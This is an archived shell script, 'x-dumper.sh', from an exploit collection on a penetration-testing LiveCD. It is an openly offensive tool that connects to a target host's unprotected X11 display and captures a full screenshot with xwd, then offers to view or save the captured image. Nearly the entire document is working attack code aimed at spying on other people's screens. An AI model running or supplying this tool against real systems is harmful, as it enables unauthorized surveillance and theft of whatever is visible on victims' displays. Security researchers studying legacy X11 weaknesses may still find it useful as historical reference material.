home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / x-dumper.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  2KB  |  86 lines

  1. #!/bin/bash
  2.  
  3. ##
  4. ## c0sa_n0stra@yahoo.com (c)
  5. ##
  6.  
  7. if [ -z $1 ]; then
  8.    echo
  9.    echo "Let's try: $0 <host>"
  10.    echo
  11.    exit 1
  12. fi
  13.  
  14. clear
  15.  
  16.   echo
  17.   echo "-[;;; X-dumper Facility - Will attempt to dump a screen ;;;]-"
  18.   echo "-------------------------------------------------------------"
  19.   echo "                - c0sa_n0stra (c) 1999/2000 -                "
  20.   echo
  21.  
  22.  
  23. XWD=/usr/X11R6/bin/xwd   #You need to have this program!
  24. XWUD=/usr/X11R6/bin/xwud #Use some other "graphic program" if you don't have this.
  25.  
  26. if [ -x $XWUD ]; then
  27.    echo "-[+]- Good, we got xwud..."
  28.     else echo "You haven't got xwud, edit $0, and use e.g.. xpaint"
  29.    exit 1
  30. fi
  31.  
  32. if [ -x $XWD  ]; then
  33.    echo "-[+]- Good, we got xwd..."
  34.     else echo "You need to have xwd! Get it!"
  35.    exit 1
  36. fi
  37.  
  38. $XWD -root -display $1:0.0 -out picture.$$ 2>/dev/null
  39. echo
  40.  
  41. if [ -s picture.$$ ]; then
  42.    echo "-[!]- The screen was dumped successfully"
  43.      echo
  44.       else echo "-[!!]- Sorry, not able to connect"
  45.      rm -f picture.$$
  46.    exit 1
  47. fi
  48.  
  49. echo -n "Do you want to take a look at the picture? (y/n): "
  50.  
  51. read ANSWER
  52.  
  53. case $ANSWER in
  54.  
  55.  y | Y | yes) $XWUD -in picture.$$ ;;
  56.  n | N | no ) ;;
  57.  *) echo; echo "--Too low user IQ" ;;
  58.  
  59. esac
  60.  
  61. echo
  62. echo -n "Do you want to keep the picture? (y/n): "
  63.  
  64. read ANSWER
  65.  
  66. case $ANSWER in
  67.  
  68.  y | Y | yes) echo ; echo "--Ok, let's keep it - look in `pwd`" ;;
  69.  n | N | no) rm -f picture.$$ ; echo ; echo "--Uhuu, it is gone..." ;;
  70.  *) echo; echo "--Too low user IQ - picture is saved in `pwd`"
  71.  
  72. esac
  73.  
  74. echo
  75. echo -n "Do you want to do this again? (y/n): "
  76.  
  77. read ANSWER
  78.  
  79. case $ANSWER in
  80.  
  81.  y | Y | yes) $0 $1 ;;
  82.  
  83. esac
  84.  
  85. exit 0
  86. #                    www.hack.co.za              [2000]#